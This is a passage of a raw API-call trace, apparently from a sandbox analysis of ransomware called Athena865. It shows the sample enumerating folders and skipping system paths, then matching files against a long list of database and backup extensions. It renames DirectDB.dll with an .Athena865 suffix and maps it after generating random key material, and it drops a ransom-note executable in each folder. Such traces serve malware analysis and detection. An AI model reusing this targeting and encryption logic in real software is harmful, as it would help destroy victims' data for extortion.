[0092.943] lstrlenW (lpString="rpd") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0092.943] lstrlenW (lpString="rsd") returned 3 [0092.943] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0092.943] lstrlenW (lpString="sas7bdat") returned 8 [0092.944] lstrcmpiW (lpString1="ctDB.dll", lpString2="sas7bdat") returned -1 [0092.944] lstrlenW (lpString="sbf") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0092.944] lstrlenW (lpString="scx") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0092.944] lstrlenW (lpString="sdb") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0092.944] lstrlenW (lpString="sdc") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0092.944] lstrlenW (lpString="sdf") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0092.944] lstrlenW (lpString="sis") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0092.944] lstrlenW (lpString="spq") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0092.944] lstrlenW (lpString="te") returned 2 [0092.944] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0092.944] lstrlenW (lpString="teacher") returned 7 [0092.944] lstrcmpiW (lpString1="tDB.dll", lpString2="teacher") returned -1 [0092.944] lstrlenW (lpString="tmd") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0092.944] lstrlenW (lpString="tps") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0092.944] lstrlenW (lpString="trc") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0092.944] lstrlenW (lpString="trc") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0092.944] lstrlenW (lpString="trm") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0092.944] lstrlenW (lpString="udb") returned 3 [0092.944] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0092.945] lstrlenW (lpString="udl") returned 3 [0092.945] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0092.945] lstrlenW (lpString="usr") returned 3 [0092.945] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0092.945] lstrlenW (lpString="v12") returned 3 [0092.945] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0092.945] lstrlenW (lpString="vis") returned 3 [0092.945] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0092.945] lstrlenW (lpString="vpd") returned 3 [0092.945] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0092.945] lstrlenW (lpString="vvv") returned 3 [0092.945] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0092.945] lstrlenW (lpString="wdb") returned 3 [0092.945] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0092.945] lstrlenW (lpString="wmdb") returned 4 [0092.945] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0092.945] lstrlenW (lpString="wrk") returned 3 [0092.945] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0092.945] lstrlenW (lpString="xdb") returned 3 [0092.945] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0092.945] lstrlenW (lpString="xld") returned 3 [0092.945] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0092.945] lstrlenW (lpString="xmlff") returned 5 [0092.945] lstrcmpiW (lpString1="B.dll", lpString2="xmlff") returned -1 [0092.945] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll.Athena865") returned 65 [0092.945] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files (x86)\\common files\\system\\directdb.dll"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll.Athena865" (normalized: "c:\\program files (x86)\\common files\\system\\directdb.dll.athena865"), dwFlags=0x1) returned 1 [0092.952] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll.Athena865" (normalized: "c:\\program files (x86)\\common files\\system\\directdb.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.953] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24064) returned 1 [0092.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0092.953] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0092.954] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0092.954] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.954] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0092.954] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6100, lpName=0x0) returned 0x17c [0092.955] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6100) returned 0x100000 [0092.957] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0092.958] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.958] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0092.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0092.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0092.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.958] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.959] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.959] CloseHandle (hObject=0x17c) returned 1 [0092.959] CloseHandle (hObject=0x154) returned 1 [0092.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0092.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0092.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.960] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0092.960] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0092.960] lstrlenW (lpString="en-US") returned 5 [0092.960] lstrcpyW (in: lpString1=0x241e89e, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0092.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f880 [0092.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x52e350 [0092.960] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0092.960] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0092.960] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.969] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0bf5540, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0bf5540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0092.969] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0092.969] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2=".") returned 1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2="..") returned 1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2="windows") returned -1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2="bootmgr") returned 1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2="temp") returned -1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2="pagefile.sys") returned -1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2="boot") returned 1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2="ids.txt") returned 1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2="ntuser.dat") returned -1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2="perflogs") returned -1 [0092.969] lstrcmpiW (lpString1="msadc", lpString2="MSBuild") returned -1 [0092.969] lstrlenW (lpString="msadc") returned 5 [0092.969] lstrcpyW (in: lpString1=0x241e89e, lpString2="msadc" | out: lpString1="msadc") returned="msadc" [0092.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b990 [0092.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x62) returned 0x53a810 [0092.969] lstrcatW (in: lpString1="msadc", lpString2="\\" | out: lpString1="msadc\\") returned="msadc\\" [0092.969] lstrcatW (in: lpString1="msadc\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="msadc\\HOW TO BACK YOUR FILES.exe") returned="msadc\\HOW TO BACK YOUR FILES.exe" [0092.969] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\msadc\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.973] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0092.973] lstrcmpiW (lpString1="Ole DB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.973] lstrcmpiW (lpString1="Ole DB", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.973] lstrcmpiW (lpString1="Ole DB", lpString2=".") returned 1 [0092.973] lstrcmpiW (lpString1="Ole DB", lpString2="..") returned 1 [0092.973] lstrcmpiW (lpString1="Ole DB", lpString2="windows") returned -1 [0092.973] lstrcmpiW (lpString1="Ole DB", lpString2="bootmgr") returned 1 [0092.973] lstrcmpiW (lpString1="Ole DB", lpString2="temp") returned -1 [0092.974] lstrcmpiW (lpString1="Ole DB", lpString2="pagefile.sys") returned -1 [0092.974] lstrcmpiW (lpString1="Ole DB", lpString2="boot") returned 1 [0092.974] lstrcmpiW (lpString1="Ole DB", lpString2="ids.txt") returned 1 [0092.974] lstrcmpiW (lpString1="Ole DB", lpString2="ntuser.dat") returned 1 [0092.974] lstrcmpiW (lpString1="Ole DB", lpString2="perflogs") returned -1 [0092.974] lstrcmpiW (lpString1="Ole DB", lpString2="MSBuild") returned 1 [0092.974] lstrlenW (lpString="Ole DB") returned 6 [0092.974] lstrcpyW (in: lpString1=0x241e89e, lpString2="Ole DB" | out: lpString1="Ole DB") returned="Ole DB" [0092.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b9a8 [0092.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x53a880 [0092.974] lstrcatW (in: lpString1="Ole DB", lpString2="\\" | out: lpString1="Ole DB\\") returned="Ole DB\\" [0092.974] lstrcatW (in: lpString1="Ole DB\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Ole DB\\HOW TO BACK YOUR FILES.exe") returned="Ole DB\\HOW TO BACK YOUR FILES.exe" [0092.974] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\system\\ole db\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.989] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2406d7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2406d7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xad000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2=".") returned 1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2="..") returned 1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2="windows") returned -1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2="bootmgr") returned 1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2="temp") returned 1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2="pagefile.sys") returned 1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2="boot") returned 1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2="ids.txt") returned 1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2="ntuser.dat") returned 1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2="perflogs") returned 1 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2="MSBuild") returned 1 [0092.989] lstrlenW (lpString="wab32.dll") returned 9 [0092.989] lstrcpyW (in: lpString1=0x241e89e, lpString2="wab32.dll" | out: lpString1="wab32.dll") returned="wab32.dll" [0092.989] lstrlenW (lpString="wab32.dll") returned 9 [0092.989] lstrlenW (lpString="Athena865") returned 9 [0092.989] lstrlenW (lpString=".dll") returned 4 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2=".dll") returned 1 [0092.989] lstrlenW (lpString=".lnk") returned 4 [0092.989] lstrcmpiW (lpString1="wab32.dll", lpString2=".lnk") returned 1 [0092.989] lstrlenW (lpString=".ini") returned 4 [0092.990] lstrcmpiW (lpString1="wab32.dll", lpString2=".ini") returned 1 [0092.990] lstrlenW (lpString=".sys") returned 4 [0092.990] lstrcmpiW (lpString1="wab32.dll", lpString2=".sys") returned 1 [0092.990] lstrlenW (lpString="wab32.dll") returned 9 [0092.990] lstrlenW (lpString="bak") returned 3 [0092.990] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0092.990] lstrlenW (lpString="ba_") returned 3 [0092.990] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0092.990] lstrlenW (lpString="dbb") returned 3 [0092.990] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0092.990] lstrlenW (lpString="vmdk") returned 4 [0092.990] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0092.990] lstrlenW (lpString="rar") returned 3 [0092.990] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0092.990] lstrlenW (lpString="zip") returned 3 [0092.990] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0092.990] lstrlenW (lpString="tgz") returned 3 [0092.990] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0092.990] lstrlenW (lpString="vbox") returned 4 [0092.990] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0092.990] lstrlenW (lpString="vdi") returned 3 [0092.990] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0092.990] lstrlenW (lpString="vhd") returned 3 [0092.990] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0092.990] lstrlenW (lpString="vhdx") returned 4 [0092.990] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0092.990] lstrlenW (lpString="avhd") returned 4 [0092.990] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0092.990] lstrlenW (lpString="db") returned 2 [0092.990] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0092.991] lstrlenW (lpString="db2") returned 3 [0092.991] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0092.991] lstrlenW (lpString="db3") returned 3 [0092.991] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0092.991] lstrlenW (lpString="dbf") returned 3 [0092.991] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0092.991] lstrlenW (lpString="mdf") returned 3 [0092.991] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0092.991] lstrlenW (lpString="mdb") returned 3 [0092.991] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0092.991] lstrlenW (lpString="sql") returned 3 [0092.991] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0092.991] lstrlenW (lpString="sqlite") returned 6 [0092.991] lstrcmpiW (lpString1="32.dll", lpString2="sqlite") returned -1 [0092.991] lstrlenW (lpString="sqlite3") returned 7 [0092.991] lstrcmpiW (lpString1="b32.dll", lpString2="sqlite3") returned -1 [0092.991] lstrlenW (lpString="sqlitedb") returned 8 [0092.991] lstrcmpiW (lpString1="ab32.dll", lpString2="sqlitedb") returned -1 [0092.991] lstrlenW (lpString="xml") returned 3 [0092.991] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0092.991] lstrlenW (lpString="$er") returned 3 [0092.991] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0092.991] lstrlenW (lpString="4dd") returned 3 [0092.991] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0092.991] lstrlenW (lpString="4dl") returned 3 [0092.991] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0092.991] lstrlenW (lpString="^^^") returned 3 [0092.991] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0092.991] lstrlenW (lpString="abs") returned 3 [0092.991] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0092.992] lstrlenW (lpString="abx") returned 3 [0092.992] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0092.992] lstrlenW (lpString="accdb") returned 5 [0092.992] lstrcmpiW (lpString1="2.dll", lpString2="accdb") returned -1 [0092.992] lstrlenW (lpString="accdc") returned 5 [0092.992] lstrcmpiW (lpString1="2.dll", lpString2="accdc") returned -1 [0092.992] lstrlenW (lpString="accde") returned 5 [0092.992] lstrcmpiW (lpString1="2.dll", lpString2="accde") returned -1 [0092.992] lstrlenW (lpString="accdr") returned 5 [0092.992] lstrcmpiW (lpString1="2.dll", lpString2="accdr") returned -1 [0092.992] lstrlenW (lpString="accdt") returned 5 [0092.992] lstrcmpiW (lpString1="2.dll", lpString2="accdt") returned -1 [0092.992] lstrlenW (lpString="accdw") returned 5 [0092.992] lstrcmpiW (lpString1="2.dll", lpString2="accdw") returned -1 [0092.992] lstrlenW (lpString="accft") returned 5 [0092.992] lstrcmpiW (lpString1="2.dll", lpString2="accft") returned -1 [0092.992] lstrlenW (lpString="adb") returned 3 [0092.992] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0092.992] lstrlenW (lpString="adb") returned 3 [0092.992] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0092.992] lstrlenW (lpString="ade") returned 3 [0092.992] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0092.992] lstrlenW (lpString="adf") returned 3 [0092.992] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0092.992] lstrlenW (lpString="adn") returned 3 [0092.992] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0092.992] lstrlenW (lpString="adp") returned 3 [0092.992] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0092.992] lstrlenW (lpString="alf") returned 3 [0092.992] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0092.992] lstrlenW (lpString="ask") returned 3 [0092.993] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0092.993] lstrlenW (lpString="btr") returned 3 [0092.993] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0092.993] lstrlenW (lpString="cat") returned 3 [0092.993] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0092.993] lstrlenW (lpString="cdb") returned 3 [0092.993] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0092.993] lstrlenW (lpString="ckp") returned 3 [0092.993] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0092.993] lstrlenW (lpString="cma") returned 3 [0092.993] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0092.993] lstrlenW (lpString="cpd") returned 3 [0092.993] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0092.993] lstrlenW (lpString="dacpac") returned 6 [0092.993] lstrcmpiW (lpString1="32.dll", lpString2="dacpac") returned -1 [0092.993] lstrlenW (lpString="dad") returned 3 [0092.993] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0092.993] lstrlenW (lpString="dadiagrams") returned 10 [0092.993] lstrlenW (lpString="daschema") returned 8 [0092.993] lstrcmpiW (lpString1="ab32.dll", lpString2="daschema") returned -1 [0092.993] lstrlenW (lpString="db-journal") returned 10 [0092.993] lstrlenW (lpString="db-shm") returned 6 [0092.993] lstrcmpiW (lpString1="32.dll", lpString2="db-shm") returned -1 [0092.993] lstrlenW (lpString="db-wal") returned 6 [0092.993] lstrcmpiW (lpString1="32.dll", lpString2="db-wal") returned -1 [0092.993] lstrlenW (lpString="dbc") returned 3 [0092.993] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0092.993] lstrlenW (lpString="dbs") returned 3 [0092.993] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0092.993] lstrlenW (lpString="dbt") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0092.994] lstrlenW (lpString="dbv") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0092.994] lstrlenW (lpString="dbx") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0092.994] lstrlenW (lpString="dcb") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0092.994] lstrlenW (lpString="dct") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0092.994] lstrlenW (lpString="dcx") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0092.994] lstrlenW (lpString="ddl") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0092.994] lstrlenW (lpString="dlis") returned 4 [0092.994] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0092.994] lstrlenW (lpString="dp1") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0092.994] lstrlenW (lpString="dqy") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0092.994] lstrlenW (lpString="dsk") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0092.994] lstrlenW (lpString="dsn") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0092.994] lstrlenW (lpString="dtsx") returned 4 [0092.994] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0092.994] lstrlenW (lpString="dxl") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0092.994] lstrlenW (lpString="eco") returned 3 [0092.994] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0092.994] lstrlenW (lpString="ecx") returned 3 [0092.995] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0092.995] lstrlenW (lpString="edb") returned 3 [0092.995] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0092.995] lstrlenW (lpString="epim") returned 4 [0092.995] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0092.995] lstrlenW (lpString="fcd") returned 3 [0092.995] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0092.995] lstrlenW (lpString="fdb") returned 3 [0092.995] lstrcmpiW (lpString1="dll", lpString2="fdb") returned 